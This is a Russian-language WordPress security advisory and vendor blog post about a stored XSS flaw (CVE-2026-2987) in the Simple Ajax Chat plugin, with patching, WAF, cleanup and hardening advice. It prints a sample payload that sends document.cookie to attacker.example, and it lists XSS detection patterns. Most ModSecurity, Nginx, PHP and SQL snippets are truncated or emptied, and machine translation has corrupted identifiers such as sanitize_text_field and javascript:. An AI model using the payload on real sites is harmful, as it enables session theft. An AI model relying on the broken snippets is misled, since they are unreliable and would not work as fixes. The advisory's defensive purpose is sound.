Имя плагина	Простой Ajax Чат
Тип уязвимости	Межсайтовый скриптинг (XSS)
Номер CVE	CVE-2026-2987
Срочность	Середина
Дата публикации CVE	2026-03-14
Исходный URL-адрес	CVE-2026-2987

Срочно: Неаутентифицированный Хранимый XSS в “Простом Ajax Чате” (CVE-2026-2987) — Что владельцы сайтов на WordPress должны сделать сейчас

Недавнее публичное уведомление о безопасности раскрыло уязвимость хранимого межсайтового скриптинга (XSS) в плагине Simple Ajax Chat для WordPress (версии <= 20260217), отслеживаемую как CVE-2026-2987. Поставщик выпустил патч 2026-03-01; сайты, которые не обновились, остаются под угрозой. Эта уязвимость позволяет неаутентифицированному злоумышленнику сохранять JavaScript полезные нагрузки через параметр с именем c, которые позже отображаются в контексте сайта, когда другие пользователи (часто пользователи с более высокими привилегиями) просматривают вывод чата.

Если вы используете Simple Ajax Chat на любом сайте WordPress — особенно на сайтах с привилегированными пользователями, которые могут просматривать вывод чата (администраторы, редакторы и т. д.) — внимательно прочитайте этот пост. Я пишу как профессионал в области безопасности WordPress с опытом защиты сайтов от уязвимостей, связанных с плагинами. Ниже вы найдете:

Объяснение уязвимости на простом языке и почему это рискованно
Как злоумышленники могут ее использовать и каковы реальные последствия
Немедленные экстренные шаги, которые вы должны предпринять
Рекомендуемые долгосрочные исправления и безопасные фрагменты кода
Правила смягчения WAF, которые вы можете развернуть немедленно
Как обнаружить признаки эксплуатации и очистить, если вы были поражены
Почему WP-Firewall (включая наш бесплатный базовый план) является практическим средством смягчения, пока вы устанавливаете патч

Это длинный пост — но он предназначен для того, чтобы дать вам полный, практический план действий.

Быстрый обзор (если у вас есть только 60 секунд)

Уязвимость: Хранимый XSS через параметр c в Simple Ajax Chat (<= 20260217).
Степень серьезности: Средняя (CVSS 7.1) — но реальное воздействие может быть серьезным в зависимости от того, кто просматривает внедренный контент.
CVE: CVE-2026-2987.
Исправлено: 2026-03-01. Немедленно обновите плагин до версии 20260301 или более поздней.
Если вы не можете обновить немедленно: разверните правила WAF для блокировки запросов, содержащих полезные нагрузки скриптов (примеры ниже), ограничьте доступ к конечным точкам чата или отключите плагин до исправления.
После исправления найдите и удалите любые сохраненные вредоносные сообщения и измените учетные данные, если есть доказательства успешной эксплуатации.

Что такое сохраненный межсайтовый скриптинг (stored XSS) — и почему это вызывает беспокойство?

Сохраненный XSS происходит, когда злоумышленник может отправить вредоносный JavaScript (или HTML), который сохраняется на сервере и затем отображается дословно другим пользователям. В отличие от отраженного XSS (который требует, чтобы пользователь кликнул на вредоносную ссылку), сохраненный XSS сохраняется на сайте и выполняется в браузере любого пользователя, который посещает зараженную страницу.

В этом случае:

Плагин раскрывает параметр с именем c (используется для отправки содержимого чата).
Неаутентифицированный злоумышленник может отправить подготовленный ввод, используя этот параметр, и сохранить его.
Когда другой пользователь (возможно, администратор) загружает страницу, отображающую сообщения чата, сохраненная полезная нагрузка выполняется в браузере жертвы с привилегиями и контекстом сессии этой жертвы.
Поскольку злоумышленник может не быть аутентифицирован, основной риск заключается в том, что жертва, которая просматривает чат (часто привилегированный пользователь), получает свои куки сессии, токены CSRF или интерфейс администратора, которые могут быть изменены — что потенциально может привести к захвату сайта, установке вредоносного ПО или краже данных.

Хотя начальная инъекция требует только HTTP-запроса, успешная эксплуатация обычно зависит от взаимодействия пользователя (кто-то просматривает чат). Тем не менее, многие сайты показывают содержимое чата в панелях администратора, публичных страницах или виджетах — расширяя поверхность атаки.

Кто находится в наибольшем риске?

Сайты, использующие версии Simple Ajax Chat <= 20260217, которые не применили обновление 2026-03-01.
Сайты, где администраторы, редакторы или другие вошедшие в систему привилегированные пользователи регулярно просматривают содержимое чата или панели, которые включают вывод чата.
Сайты, где вывод чата плагина встроен в страницы, доступные пользователям с высокими привилегиями.
Сайты без WAF или других виртуальных патчей.

Даже если чат вашего сайта публичный и его видят только обычные посетители, сохраненный XSS все равно может привести к компрометации учетной записи пользователя, спаму, краже куки, перенаправлению трафика на вредоносные страницы или постоянным инъекциям вредоносного ПО, которые влияют на SEO и посетителей.

Как злоумышленник может это эксплуатировать (практический пример)

Злоумышленник подготавливает запрос к конечной точке чата, устанавливая c параметр на полезную нагрузку JavaScript:
- Пример полезной нагрузки (простой): <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
Плагин сохраняет c содержимое в базу данных (хранилище сообщений чата) без надлежащей очистки или кодирования.
Позже, когда администратор просматривает область чата (или чат появляется на виджете панели управления), браузер анализирует и выполняет сохраненный JavaScript.
Нагрузка может:
- Украсть куки или токены локального хранилища (если не защищены куками HttpOnly)
- Выполнять действия от имени администратора (похоже на CSRF)
- Внедрять дополнительные скрипты для сохранения вредоносного ПО или создания задних дверей
- Перенаправлять администратора на страницы, контролируемые злоумышленником
- Записывать нажатия клавиш, захватывать токены 2FA или перечислять внутренности сайта

Вот почему сохраненный XSS, даже если на бумаге имеет только “среднюю” степень серьезности, часто приводит к инцидентам с высоким воздействием.

Немедленные шаги, которые вы должны предпринять (контрольный список на уровне инцидента)

Если вы используете Simple Ajax Chat на любом сайте:

Обновите плагин до версии 20260301 (или позже) прямо сейчас. Это самый важный шаг.
Если вы не можете обновить немедленно, отключите или деактивируйте плагин, пока не сможете установить патч.
Добавьте правила WAF (примеры ниже), чтобы блокировать запросы, содержащие закодированные или обычные <script> теги, обработчики событий (onerror, onclick и т. д.), или javascript: псевдопротоколы в c параметр.
Ограничьте доступ к конечной точке чата:
- Ограничьте по IP (если чат внутренний).
- Требуйте аутентифицированных пользователей (если возможно) и проверяйте проверки возможностей.
Сделайте свежую резервную копию перед внесением изменений (полный файл + БД), затем продолжайте с мерами по смягчению.
Ищите сохраненные вредоносные сообщения и удаляйте их:
- Искать <script>, onerror=, яваскрипт:, закодированные в base64 полезные нагрузки и атрибуты обработчиков событий.
Аудит входов администраторов, поиск подозрительных сессий и смена паролей администраторов и API-ключей, если вы подозреваете компрометацию.
Просканируйте сайт на наличие веб-оболочек, новых администраторов и измененных файлов ядра/плагинов/тем.
Примените меры по усилению безопасности: включите флаги HttpOnly и Secure для файлов cookie, обеспечьте соблюдение SameSite и рассмотрите временные заголовки CSP для снижения воздействия XSS.
Если компрометация подтверждена, изолируйте сайт, проведите судебно-медицинскую экспертизу, восстановите из чистой резервной копии и уведомите пострадавших пользователей.

Патч против виртуального патча — что выбрать?

Патч (обновление плагина) является постоянным решением. Обновите до 20260301 или позже.
Виртуальный патч (правило WAF) является немедленной временной мерой для блокировки попыток эксплуатации, пока вы не сможете установить патч или если циркулирует публичная эксплуатация.
Если вы управляете многими клиентскими сайтами и не можете установить патчи сразу для всех, виртуальный патч быстро снижает риск.

Пользователи WP-Firewall могут включить управляемые правила WAF и сканирование на наличие вредоносного ПО для блокировки известных шаблонов эксплуатации, пока они координируют обновления плагинов по всему своему парку.

Примеры правил WAF, которые вы можете развернуть сейчас

Ниже приведены примеры в стиле ModSecurity и общие правила regex, которые нацелены на распространенные сохраненные полезные нагрузки XSS и конкретно на c параметр. Это рекомендации — протестируйте в тестовой среде перед применением в производственной, чтобы избежать ложных срабатываний.

Важно: настройте чувствительность в зависимости от законного использования вашего сайта (например, если чат поддерживает HTML-форматирование).

Пример ModSecurity (v3) — блокировка простых тегов скриптов в параметре c:

Заблокируйте теги  в параметре "c"

Более широкое правило для захвата закодированных полезных нагрузок:

SecRule ARGS_NAMES|ARGS|REQUEST_BODY "(?i)(script|script|imgsvg|javascript:|data:text/html|iframe)" \"

Пример Nginx (блокировка на основе карты):

В вашем серверном блоке

Настройка, совместимая с OWASP CRS:

Включите правила CRS, которые проверяют параметры и тела на наличие тегов скриптов или подозрительных обработчиков событий.
Добавьте белый список на основе параметров, где это безопасно (например, разрешите простые шаблоны markdown, но блокируйте теги).

Совет: избегайте чрезмерно агрессивных правил, которые блокируют безобидный пользовательский контент (например, разрешенный HTML для форматирования). Используйте белые списки и настроенные регулярные выражения, где это необходимо.

Примеры исправлений на уровне плагина WordPress (что должен сделать автор плагина)

Если вы разработчик или поддерживаете свою собственную ветку, исправьте уязвимость в двух местах:

Очистите ввод при сохранении (на стороне сервера).
Экранируйте вывод при рендеринге.

Пример: очистка при сохранении (PHP):

// При обработке отправки чата (на стороне сервера)

Пример: экранирование при выводе (PHP):

// При выводе сообщения чата;

Дополнительное усиление безопасности на стороне сервера:

Используйте нонсы для AJAX конечных точек: check_ajax_referer( 'sac_nonce', 'nonce' );
Используйте проверки возможностей, где это уместно: current_user_can( 'edit_posts' ) и т. д.
Используйте подготовленные выражения, если вставляете в пользовательские таблицы БД.

Если плагин намеренно принимает форматированный контент, используйте строгий wp_kses белый список и тщательно очищайте значения атрибутов (без яваскрипт: или данные: URI в src/href).

Очистка базы данных: как безопасно находить и удалять сохраненные полезные нагрузки

Прежде чем что-либо удалять, сделайте полную резервную копию (файлы + БД).

Проверьте базу данных на наличие подозрительного контента. Плагин может хранить сообщения в пользовательской таблице, типе поста или опции — проверьте исходный код плагина, чтобы определить место хранения. Примеры общих запросов:

MySQL — найдите строки, содержащие <script:

SELECT TABLE_NAME, COLUMN_NAME;

Затем проверьте каждый столбец таблицы на наличие <script:

SELECT id, message_column;

Ищите по всем таблицам вероятные полезные нагрузки (будьте осторожны при выполнении больших запросов на общих хостах):

SELECT CONCAT(table_name,':',column_name) AS location

Чтобы удалить совпадающий контент, либо:

Удалите проблемные строки после ручного просмотра, или
Очистите значения столбца сообщения (замените теги) с помощью логики приложения.

Пример (обновление для удаления тегов — хрупко; предпочтительнее очистка, управляемая приложением):

UPDATE wp_custom_chat_table;

Примечание: REGEXP_REPLACE может быть недоступен в старых версиях MySQL. Более безопасный подход: экспортируйте совпадения и очистите их в контролируемой среде, затем импортируйте обратно.

После очистки:

Повторно просканируйте ваш сайт с помощью сканера вредоносных программ.
Убедитесь, что не были созданы веб-оболочки или другие задние двери.

Обнаружение эксплуатации и индикаторов компрометации (IoCs)

Ищите:

Запросы к вашим конечным точкам чата, содержащие <script>, script, onerror=, яваскрипт:, или подозрительные base64 блобы.
Неожиданные перенаправления администраторов или новые учетные записи администраторов.
Внезапные изменения в файлах плагинов/тем или неожиданные запланированные задачи (cron jobs).
Исходящие соединения с сервера на неизвестные домены (обратите внимание на fetch/beacon URL в логах).
Подозрительные POST-запросы к admin-ajax.php или другие конечные точки с действие значениями, связанными с отправкой чата.

Полезные логи/команды grep:

Ищите в журналах доступа веб-сервера подозрительные шаблоны в параметре c

Также проверьте журналы ошибок вашего сайта и журналы PHP на наличие аномалий в то время, когда, как подозревается, были сделаны попытки эксплуатации.

Меры по усилению безопасности для снижения воздействия XSS в будущем

Принудительное использование флагов HttpOnly и Secure для сессий, чтобы усложнить кражу куки через XSS.
Реализуйте CSP (Политику безопасности контента) поэтапно:
- Пример заголовка для снижения риска: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'; object-src 'none';
- Примечание: CSP необходимо тестировать — он может сломать темы/плагины.
Используйте атрибуты куки SameSite для защиты от действий на основе CSRF.
Ограничьте использование плагинов: оставьте только те плагины, которые вам действительно нужны, и убедитесь, что они получены от авторитетных авторов.
Требуйте автоматические обновления плагинов для критически важных плагинов в вашей среде, где это возможно.
Отдельный доступ для администраторов: используйте выделенный URL, ограничения IP, 2FA и ограничьте круг лиц, которые могут просматривать контент на уровне администратора.
Мониторинг целостности файлов и запланированных задач на предмет неожиданных изменений.
Поддерживайте регулярные резервные копии и тестируйте восстановление.

Судебная экспертиза и восстановление после подозреваемого компрометации

Изолируйте затронутую среду (переведите сайт в режим обслуживания, если это возможно).
Сохраните логи (веб-сервер, PHP, база данных) для анализа.
Создайте судебный снимок (файлы + БД) перед внесением изменений.
Определите начальную точку входа и объем — атакующий только внедрил сообщения чата или были изменены другие файлы?
Удалите сохраненные полезные нагрузки и любые вредоносные файлы или задние двери.
Сбросьте все привилегированные учетные данные и токены API, используемые на сайте.
Переустановите ядро WordPress, темы и плагины из надежных источников (или восстановите из проверенной чистой резервной копии).
Повторно запустите сканирование на наличие вредоносного ПО и мониторинг как минимум в течение нескольких дней.
Если атакующий создал механизмы постоянства (плановые задачи, новых пользователей, измененные файлы), удалите и тщательно проверьте.
Рассмотрите возможность профессионального реагирования на инциденты, если произошел захват сайта или утечка конфиденциальных данных.

Почему виртуальная патчинг с WAF является эффективной краткосрочной защитой

Когда уязвимость широко раскрыта, окно между раскрытием и активной эксплуатацией может быть коротким. Виртуальная патчинг через хорошо настроенный WAF:

Блокирует попытки эксплуатации на границе, прежде чем они достигнут вашего приложения WordPress.
Уменьшает шум и предоставляет возможность координировать обновления плагинов на нескольких сайтах.
Особенно полезен для управляемого хостинга или агентств с сотнями клиентских сайтов.

Управляемый WAF в сочетании с запланированными обновлениями плагинов и сканером на наличие вредоносного ПО обеспечивает многослойную защиту: он заблокирует многие распространенные полезные нагрузки и поможет обнаружить попытки, которые достигают вашего сайта.

Пример набора правил ModSecurity, настроенного для этого уведомления (резюме)

Отказать в запросах, где параметр (c или любой другой) содержит:
- <script> или URL-кодированные эквиваленты
- яваскрипт: псевдопротокол
- Обработчики событий, такие как onerror=, загрузка=, onclick=
- Общие шаблоны обфускации (шестнадцатеричный код, кодировка unicode, base64)
Логируйте заблокированные запросы с достаточным объемом метаданных (IP, UA, тело запроса) для последующих действий.
Включите в белый список безопасных клиентов или известных источников API, чтобы уменьшить количество ложных срабатываний.

Сначала разверните эти правила в режиме мониторинга (логировать, но разрешать), проверьте ложные срабатывания, затем перейдите в режим блокировки.

Как быстро искать в вашем коде небезопасный вывод

Если вы поддерживаете темы или плагины, которые отображают сообщения чата, ищите вызовы неэкранированного вывода:

Ищите прямое отображение переменных: echo $сообщение;, print $сообщение;
Замените на функции экранирования: echo esc_html( $сообщение ); или echo wp_kses_post( $сообщение );
Для AJAX конечных точек убедитесь, что серверная очистка выполнена перед сохранением: санировать_текстовое_поле(), wp_kses().

Зарегистрируйтесь и защитите все ваши сайты WordPress с помощью WP-Firewall

Начните защищать свой сайт с бесплатного плана WP-Firewall

Мы знаем, что многим владельцам сайтов нужна эффективная защита без немедленного бюджета на платные услуги. Базовый (бесплатный) план WP-Firewall предоставляет вам необходимую защиту, которую вы можете развернуть за считанные минуты: управляемый брандмауэр, всегда включенный WAF, настроенный для шаблонов WordPress, неограниченная пропускная способность, сканер вредоносных программ и защита от рисков OWASP Top 10. Он разработан для того, чтобы предоставить вам значительное смягчение, пока вы координируете обновления и очистки.

Изучите бесплатный план и получите защиту уже сегодня: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

(Если вам нужна дополнительная автоматизация, наши стандартные и профессиональные планы добавляют автоматическое удаление вредоносных программ, черные списки IP, ежемесячные отчеты и автоматическое виртуальное патчирование для критических уязвимостей.)

Часто задаваемые вопросы

В: Я обновил плагин — нужен ли мне все еще WAF?
A: Да. Обновления устраняют уязвимость, но WAF обеспечивает защиту в глубину, ловит попытки эксплуатации и помогает защитить незапатченные или неправильно настроенные сайты.

Q: Если я обновлюсь, нужно ли мне все равно искать вредоносные сообщения?
A: Абсолютно. Патчинг предотвращает будущие попытки инъекций через теперь исправленную уязвимость, но не удаляет контент, который уже сохранили злоумышленники. Выполните шаги по очистке, описанные выше.

Q: Сломает ли санитаризация контента законное форматирование чата?
A: Возможно. Если чат намеренно поддерживает HTML-форматирование, реализуйте строгий белый список с использованием wp_kses и протестируйте, чтобы сохранить разрешённую разметку, удаляя рискованные атрибуты и теги.

Q: Как долго мне следует мониторить после инцидента?
A: По крайней мере несколько недель. Злоумышленники часто пытаются повторно войти или эксплуатировать другие слабые места после первоначальной инъекции.

Заключительные мысли от команды WP-Firewall

Уязвимости плагинов являются одним из самых распространённых и значительных векторов атак в WordPress. Эта уязвимость XSS в Simple Ajax Chat подчеркивает повторяющийся шаблон: плагины, которые принимают и отображают пользовательский контент, должны санитаризировать на входе и экранировать на выходе. Даже неаутентифицированные инъекции становятся опасными, когда привилегированные пользователи просматривают контент.

Если вы используете Simple Ajax Chat, немедленно обновите до исправленной версии (20260301). Если вы управляете портфолио сайтов, примените виртуальные патчи WAF сейчас, чтобы снизить риск, и запланируйте обновления контролируемым образом. Используйте шаги по обнаружению и очистке выше, чтобы проверить целостность вашего сайта, и укрепите вашу среду WordPress, чтобы снизить вероятность повторных инцидентов.

Если вы хотите получить практическую помощь в защите сайта или всей клиентской базы, наш управляемый брандмауэр и сканер могут быть быстро включены — включая бесплатный базовый план, который предоставляет основную защиту WAF, пока вы координируете патчинг и реагирование на инциденты: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

Будьте в безопасности, поддерживайте плагины в актуальном состоянии и всегда проверяйте и экранируйте пользовательский ввод — это лучшие защиты от постоянных атак XSS.

— Команда безопасности WP-Firewall

Приложение: Быстрый контрольный список (копировать-вставить)

[ ] Обновите Simple Ajax Chat до 20260301 или позже
[ ] Если обновление невозможно, отключите плагин или заблокируйте конечную точку чата
[ ] Примените правила WAF для блокировки <script>, яваскрипт:, onerror шаблоны
[ ] Создайте резервную копию сайта (файлы + БД) перед устранением
[ ] Поиск в БД на <script, onerror, яваскрипт: и очистка записей
[ ] Смените учетные данные администратора и ключи API, если подозревается эксплуатация
[ ] Сканируйте на наличие веб-оболочек и несанкционированных администраторов
[ ] Включите флаги cookie HttpOnly, Secure и SameSite
[ ] Рассмотрите возможность добавления ограничительного CSP во время очистки

Критический недостаток XSS в Simple Ajax Chat//Опубликовано 2026-03-14//CVE-2026-2987

Срочно: Неаутентифицированный Хранимый XSS в “Простом Ajax Чате” (CVE-2026-2987) — Что владельцы сайтов на WordPress должны сделать сейчас

Быстрый обзор (если у вас есть только 60 секунд)

Что такое сохраненный межсайтовый скриптинг (stored XSS) — и почему это вызывает беспокойство?

Кто находится в наибольшем риске?

Как злоумышленник может это эксплуатировать (практический пример)

Немедленные шаги, которые вы должны предпринять (контрольный список на уровне инцидента)

Патч против виртуального патча — что выбрать?

Примеры правил WAF, которые вы можете развернуть сейчас

Пример ModSecurity (v3) — блокировка простых тегов скриптов в параметре c:

Более широкое правило для захвата закодированных полезных нагрузок:

Пример Nginx (блокировка на основе карты):

Настройка, совместимая с OWASP CRS:

Примеры исправлений на уровне плагина WordPress (что должен сделать автор плагина)

Очистка базы данных: как безопасно находить и удалять сохраненные полезные нагрузки

Обнаружение эксплуатации и индикаторов компрометации (IoCs)

Меры по усилению безопасности для снижения воздействия XSS в будущем

Судебная экспертиза и восстановление после подозреваемого компрометации

Почему виртуальная патчинг с WAF является эффективной краткосрочной защитой

Пример набора правил ModSecurity, настроенного для этого уведомления (резюме)

Как быстро искать в вашем коде небезопасный вывод

Зарегистрируйтесь и защитите все ваши сайты WordPress с помощью WP-Firewall

Начните защищать свой сайт с бесплатного плана WP-Firewall

Часто задаваемые вопросы

Заключительные мысли от команды WP-Firewall

Приложение: Быстрый контрольный список (копировать-вставить)

Получайте WP Security Weekly бесплатно 👋
Зарегистрируйтесь сейчас!!

Свяжитесь с нами, чтобы запланировать бесплатную консультацию по безопасности WordPress.

Критический недостаток XSS в Simple Ajax Chat//Опубликовано 2026-03-14//CVE-2026-2987

Срочно: Неаутентифицированный Хранимый XSS в “Простом Ajax Чате” (CVE-2026-2987) — Что владельцы сайтов на WordPress должны сделать сейчас

Быстрый обзор (если у вас есть только 60 секунд)

Что такое сохраненный межсайтовый скриптинг (stored XSS) — и почему это вызывает беспокойство?

Кто находится в наибольшем риске?

Как злоумышленник может это эксплуатировать (практический пример)

Немедленные шаги, которые вы должны предпринять (контрольный список на уровне инцидента)

Патч против виртуального патча — что выбрать?

Примеры правил WAF, которые вы можете развернуть сейчас

Пример ModSecurity (v3) — блокировка простых тегов скриптов в параметре c:

Более широкое правило для захвата закодированных полезных нагрузок:

Пример Nginx (блокировка на основе карты):

Настройка, совместимая с OWASP CRS:

Примеры исправлений на уровне плагина WordPress (что должен сделать автор плагина)

Очистка базы данных: как безопасно находить и удалять сохраненные полезные нагрузки

Обнаружение эксплуатации и индикаторов компрометации (IoCs)

Меры по усилению безопасности для снижения воздействия XSS в будущем

Судебная экспертиза и восстановление после подозреваемого компрометации

Почему виртуальная патчинг с WAF является эффективной краткосрочной защитой

Пример набора правил ModSecurity, настроенного для этого уведомления (резюме)

Как быстро искать в вашем коде небезопасный вывод

Зарегистрируйтесь и защитите все ваши сайты WordPress с помощью WP-Firewall

Начните защищать свой сайт с бесплатного плана WP-Firewall

Часто задаваемые вопросы

Заключительные мысли от команды WP-Firewall

Приложение: Быстрый контрольный список (копировать-вставить)

Получайте WP Security Weekly бесплатно 👋Зарегистрируйтесь сейчас!!

Свяжитесь с нами, чтобы запланировать бесплатную консультацию по безопасности WordPress.

Получайте WP Security Weekly бесплатно 👋
Зарегистрируйтесь сейчас!!